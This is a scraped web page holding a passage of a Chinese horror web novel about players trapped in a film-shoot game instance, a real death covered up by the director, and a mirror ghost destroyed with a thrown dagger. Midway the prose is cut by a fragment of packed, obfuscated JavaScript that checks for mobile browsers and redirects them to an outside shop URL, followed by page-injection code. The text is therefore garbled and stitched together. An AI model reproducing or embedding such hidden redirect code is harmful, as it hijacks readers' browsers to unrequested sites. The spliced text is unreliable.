待楼梯平台上的人没了动静,两名摄影师如实记录眼前的一幕,等一番杂乱的吵闹剧情结束,“尸体”被距离最近的人推了推,问他有没有受伤。 这一推才发现,这人一动不动的,连点呼吸起伏都没有。本以为这只是他在开玩笑,或者是在继续表演,但随着时间一分一秒地过去,他还是没有动弹,大家才发觉不对劲。 查探脉搏之后,他们惊恐地发现,他这已经不是表演,而是真的死了。 97.还剩十一人(二) 秦文心带着一丝不可置信,大步流星地走到那人身边,蹲下身子仔细检查。她的手探向他的颈侧,却感受不到任何脉搏。 短暂的惊慌失措之后,她努力让自己镇定下来,对周围的人进行了一番威逼利诱,要求他们对此事守口如瓶。不管怎么样都不能影响拍摄进程,这人死了,她自然会给予更多的补偿给他的家人。 此外,她还会给每人多出一笔封口费,影视娱乐资源亦或是金钱,她都出得起。 清酒红人面,财帛动人心。 在金钱的诱惑下,人们往往会动摇。更何况,如果他们拒绝秦导演的要求,后果可能不仅仅是失去一笔意外之财那么简单。 天知道她会把那人的死安在谁的头上,利用她的权力和影响力,给他们安上一个莫须有的罪名。就算有镜头记录了一切,她也有办法让其他人卷入其中,他们一普通人还能斗得过人家背后的资本吗? 而且这种离谱的意外死亡,谁信? 他们好不容易得到了这部电影的机会,如果没有任何成绩,别说那拿不出的违约费,光是得罪秦导演就够他们吃一壶了。在这种压力和诱惑之下,他们不得不权衡利弊,做出艰难的选择。 毫无疑问,人性是不能用来考验的。 即便“演员们”只是按照剧本去表演,但在发生这种事后,虽然他们也没想着跑路,但看到那紧锁的大门,仍然感到心悸。 剧中剧里的笼中鸟,剧本里的无形牢笼,那么之后的实际拍摄,又会是什么呢? 这个剧本里死掉的“他”,到底是谁? 一群人里,仅能排除掉“张子坤”,因为他是摄影师,必不可能第一天晚上就领盒饭。 况且,“他”字也许并不单指男性,特殊情况下是可以泛指男女的。 倘若把范围扩散到所有人身上,那么根据已有线索仅能排除掉剧本里的导演和两名摄影师。另外九人,包括纪然自己,都有可能会“死”。 虽然剧本里写的是“意外”死亡,但纪然怎么看都感觉是他杀。不是人为就是鬼为,巧合的死亡,通常不会是意外。 算算时间,剧本里发生死亡事件时,超过了半夜零点,而新手保护期只有一天,这个一天是按24小时来,还是按零点刷新? 万一是按零点算,半夜这一幕着实危险。 “……饰演剧组人员的人今晚再辛苦一下,戏份开始的时候带着摄影机去拍下来。以你们白天表现出来的演技来讲,晚上的戏份不难,大家坚持坚持,总归就几天的时间。”程松云以万恶的资本家的口吻继续说着话,拉回了众人的思绪。 而听到他话里意思的陈长风,直接在内心里骂骂咧咧——相信个什么?他们是专业演员吗! 剧本明天才给,还只留一两小时研读背诵,怎么不干脆等副本结束了再给剧本? 导演这几番话,大家的脸色都不太好看,毕竟谁也不喜欢在之后处处危险的环境里,还要走一步看一步。 原本以为新的剧本是会在当天拍摄结束后给他们,结果是第二天开拍前才给,若是其中发生变故,这么点时间哪能够记住多少剧情台词。 况且,说好听点是叫他们自己多留意,直白点就是实际副本里晚上会有莫名其妙的危险。 本身这种无限游戏的副本晚上就比白天的危险度高,现在还有一个剧情杀在等着他们,在这种生死攸关的剧情里,还要配合一些神神鬼鬼的东西们演戏,简直了。 要不是情况不允许,陈长风简直要冷笑出声,场面话谁不会说,也亏这个程导好意思说出口。 可惜身处于副本里,再怎么样他也不可能说不干了。陈长风一怒之下手臂用了点力,不小心扯到伤口,火辣辣的痛感让他瞬间消了气,垂下眼默不作声。 程松云交代完今晚的事,站在一旁目送着玩家们进门。走在最后面的夏黎经过他的面前,下意识偏头看了他一眼。 目光交汇的瞬间,程松云的半边脸庞隐没在阴影之中,他看着众人,露出笑意:“这个宾馆也算是镇子上的特色建筑,虽然我们此行的目的是为了拍摄,但你们不妨把它当作一次真正的旅行。好了,大家今晚好好休息吧,明天见。” 说完道别的话,程松云背着手晃悠悠地走进黑暗里。 玩家们互相看了几眼彼此,摸不准他这是什么意思。 宾馆老板坐在桌柜后面玩着手机,余光瞥见一群人进来,随口问道:“怎么这么晚才回来?镇上夜里不让乱跑,你们现在回来了就早些洗漱休息吧。” 他催促着众人赶紧上楼,自己则走到门口,似乎准备关门。 宋承眼神微动,问:“高老板,这儿晚上要锁门吗?” 高老板闻声回头,眼带疑惑,似乎在想怎么会有人问这样的问题,说:“晚上不锁门等着进贼吗?为了住户们的安全,晚上我这都会锁门。” “那如果我们半夜不舒服,需要去买药怎么办?老板你晚上会在这里吗?”肖羽装作不经意地问道。 高老板的目光在他们身上轻轻扫过,摇了摇头,一副对年轻人闹腾的无奈模样,语气温和地说道:“晚上我们这里的药店不营业,不过每个房间的柜子下面我都备了一些紧急药品,你们需要的话尽管用。” 他摆了摆手:“晚上我就在隔壁楼里休息,如果有什么紧急情况,随时给我打电话,我睡得浅,而且离得也不远。好了,不多说了,你们也早点休息,等下上去前帮我把灯关一下。” 话音刚落,他便迈步走向门外,伸手拉动了外侧的卷帘门。随着一阵尖锐的金属摩擦声,门帘缓缓沿着玻璃门下降,如同一道铁幕,彻底遮断了所有向外窥视的视线。 光与暗一墙之隔,门外的世界似乎比室内更加静谧。 大厅灯光熄灭,经过一天的奔波,众人已是疲惫不堪。副本提供的手机电量耗尽,自动关机,无形的镜头却将他们一个个上楼回房的身影尽收于内。 钟玉珍和其他三名扮演剧组成员的演员走向三楼。李新咏在踏上楼梯前,不易察觉地冲宋承点头,拎着其中一把疑似能攻击鬼怪的巨镰上了楼。 夏黎和陈长风也终于可以收起摄像机,携带这些笨重的电子设备一整天,确实让人倍感负担。 原本“秦文心”是要自己一个人一间房,老板却说人数为双数比较吉利,虽然她本人并不迷信这些虚无缥缈的说法,但一旦关系到自己的事业,那些象征着好运的话语,她多少还是愿意听上几句,反正又不需要费劲,便与“陈欣”共入住一间房。 夏黎将摄像机轻轻搁置一旁,她揉着酸胀的肩膀,终于感到了一丝解脱。她向坐在沙发上休息的钟玉珍打了声招呼,先行进了浴室去洗漱。 而钟玉珍看着桌上的摄像机,那黑色的机身在灯光的映照下显得愈发幽深。镜头虽然对着墙壁,她却感觉有些说不上来的古怪,便找了件衣服盖住它。 在她转身后,被笼罩于内的电子设备,屏幕倏地轻微闪了闪,从中浮现出一道扑扇着翅膀的黑影,又很快消失。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691330|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二楼走廊尽头,楚昭推开房门,伸手摸索着墙边的开关。 “哒。” 一声轻响,房间内的灯光应声而亮,明亮的白光从天花板倾泻下来,充斥整个房间。 或许在这种满是生活气息的房间里,一直以来紧绷的神经会不由自主地松懈几分,迟来的疲倦感如潮水般席卷而来,仿佛下一秒就能当场厥过去。 “如果你不急着用卫生间,我先去冲个澡,这一身血腥味太冲了。”纪然边说边打了个哈欠,半睁着一双困倦的眼,随手将背包扔到了沙发上,抓起换洗的衣服,便一头扎进了浴室。 楚昭扫视一圈室内,确认物品摆放与出门前毫无差异,才走到梳妆台前。镜子里的镜像与他隔空对视,眼神皆别无二致。 它不在? 水流溅落在地面的声音隐隐约约从浴室门后传来,想到某个可能,楚昭顿时陷入两难。 花洒涌出的温水倾洒而下,水流冲刷掉身体的疲倦,大脑在逐渐腾起的热气中变得迟钝。 纪然抹了把脸上的水,恢复些微清晰的视野再度被升腾的潮雾所占据。弥漫的水汽从浴室最深处的门缝中逃逸出来,沿着墙壁缓缓蔓延,最终爬上了洗漱台前的镜面。 不对劲。 纪然涂抹沐浴露的动作一顿,被热气蒸得昏昏沉沉的意识突然清醒了几分。 这不是夏天吗?怎么有这么浓的水雾? 水温已经升到了四十多度,淋在皮肤上只感受到一股热意。随着浴室内水汽的增多,周围的空气似乎也随之降低了温度,使得使得热水并没有带来灼热感,而是一种舒适的暖意。 那个能控制温度的鬼怪跑到卫生间了? 不是说卫生间里没镜头吗? 热气弥漫的水流淅淅沥沥落下,纪然在这种暖意下打了个冷颤,不会真有这种变态鬼偷看人洗澡吧? 干湿分离的卫生间里,浴室与厕所隔着磨砂的玻璃门。水流声戛然而止,纪然面无表情地迅速裹上被她事先放置在一旁的浴巾,伸手推开了磨砂玻璃门。 刚刚被热水冲刷而舒展的毛孔在接触到冷空气的瞬间急剧收缩,激起了一阵轻微颤栗。她的视线从地面扫到墙壁,最终停留在了镜子上。镜面凝满了细小的水珠,像是覆盖了一层神秘薄纱,映照出她模糊的身影。 她伸手擦拭镜面上的一块区域,去除掉水雾后,露出一片清晰的位置。她的目光与镜中的自己相撞,然后见“自己”露出一个笑脸。 充满了挑衅的意味。 纪然轻轻地扯动嘴角,露出一个无声的冷笑。如果在其他地方,她可能真的对这个鬼怪束手无策,但这里没有可没镜头的束缚,以镜子为媒介来作祟的鬼物,她也不是没有对策。 最高端的驱鬼仪式,往往只需要采用最朴素的动作。比如说,这只是一块镜子,甚至还是一块水雾缭绕的镜子。 现在,纪然取出匕首,刀剑对准镜面,用力一甩,匕首如离弦之箭般脱手飞出,其锋利的刃尖在电光火石之间穿透了镜面。 “咚!” 随着一声脆响,镜面顷刻间迸裂出无数裂纹,宛如一张巨大的蛛网。每一块裂开的玻璃都映出了纪然的无数个碎片,或是一只眼睛,或是一片肌肤,它们在破碎的镜面上形成了一幅幅独立的图像,密集而错落。 若是站远些便能看清,这些支离破碎的镜面中,每一个纪然的脸上都带着之前镜像的她所露出的微笑。 以同样挑衅的意味,回报着里面的鬼物。